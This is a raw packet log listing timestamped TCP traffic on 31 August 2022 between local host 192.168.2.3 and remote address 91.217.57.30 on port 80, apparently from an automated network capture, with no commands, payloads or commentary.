Aug 31, 2022 08:33:54.765124083 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765134096 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765152931 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765156031 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765177011 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765197992 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765208960 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765228033 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765238047 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765249014 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765270948 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765285015 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765294075 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765314102 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765330076 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765336037 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765357018 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765374899 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765377998 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765398026 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765417099 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765419960 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765443087 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765460968 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765464067 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765484095 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765506029 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765506983 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765527964 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765548944 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765556097 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765578032 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765594006 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765599966 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765623093 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765644073 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765647888 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765665054 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765683889 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765688896 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765724897 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.851933956 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852011919 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852083921 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852142096 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852164984 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.852193117 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852224112 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.852267027 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852287054 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852330923 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.852340937 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852395058 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.852396011 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852449894 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852503061 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.852523088 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852580070 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852633953 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852639914 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.852693081 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852751970 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852793932 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852843046 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852891922 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852935076 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.852979898 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853039980 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853074074 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.853085995 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853141069 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853200912 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.853246927 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853311062 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.853326082 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853379011 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853432894 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853432894 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.853487968 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853543997 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853543997 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.853598118 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853652000 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853653908 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.853703022 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853754997 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853755951 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.853810072 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853868961 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853895903 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.853924990 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853977919 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.853991032 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.854032993 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854087114 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854104042 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.854178905 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854233980 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854245901 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.854299068 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854343891 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854453087 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854465008 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.854477882 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854518890 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.854540110 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854597092 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854597092 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.854650974 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.854723930 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882154942 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882194996 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882221937 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882244110 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882257938 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882267952 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882288933 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882291079 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882314920 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882328987 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882339001 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882386923 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882395983 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882410049 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882433891 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882456064 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882464886 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882481098 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882504940 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882518053 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882528067 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882534981 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882550955 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882575035 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882586002 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882596016 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882617950 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882637024 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882641077 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882664919 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882683039 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882688046 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882711887 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882723093 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882734060 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882756948 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882767916 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882778883 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882801056 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882817030 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882822990 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882846117 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882862091 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882868052 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882889032 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882906914 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882910967 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882934093 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882947922 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.882956028 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882978916 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.882991076 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.883002996 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883025885 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883034945 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.883050919 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883074999 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883097887 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.883119106 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883142948 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883158922 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.883164883 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883188009 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883202076 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.883210897 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883234024 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883246899 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.883308887 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883327961 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883400917 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.883508921 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.883516073 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.910455942 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910487890 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910511017 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910530090 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910546064 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.910550117 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910588980 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.910595894 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910617113 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910635948 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.910640001 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910659075 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910677910 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.910679102 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910701990 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910722971 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910733938 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.910747051 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910764933 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910782099 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910831928 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910855055 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910876036 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910898924 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910924911 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910953999 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.910959005 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.910972118 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.910984039 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911006927 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911029100 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911030054 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911052942 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911075115 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911075115 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911097050 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911117077 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911123991 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911145926 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911165953 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911170006 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911191940 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911211967 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911212921 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911235094 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911247015 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911257029 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911281109 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911292076 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911307096 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911329985 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911344051 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911371946 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911395073 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911416054 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911417961 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911441088 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911458969 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911464930 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911488056 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911500931 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911511898 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911535978 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911544085 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911559105 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911581039 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911598921 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.911603928 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.911642075 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.938580036 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938616991 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938641071 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938662052 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938685894 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938730955 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938752890 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938760996 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.938775063 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938787937 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.938797951 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938821077 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938827038 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.938846111 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938864946 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.938868046 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938889980 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938911915 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938913107 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.938935041 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938956976 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938960075 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.938981056 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.938998938 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939001083 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939023018 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939043045 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939047098 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939068079 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939088106 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939091921 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939115047 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939133883 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939135075 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939157009 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939173937 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939177990 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939202070 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939219952 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939223051 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939245939 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939269066 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939269066 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939291954 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939313889 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939337969 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939384937 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939388037 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939408064 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939428091 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939450979 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939450979 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939471960 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939491034 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939493895 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939517975 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939533949 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939539909 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939564943 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939608097 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939630032 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939652920 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939672947 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939677000 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939682961 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939692974 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939697981 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939716101 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939733982 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.939738035 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.939774990 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.966773033 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966803074 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966825008 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966846943 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966864109 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.966866970 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966887951 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966908932 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966912031 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.966929913 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966938972 CEST	49744	80	192.168.2.3	91.217.57.30
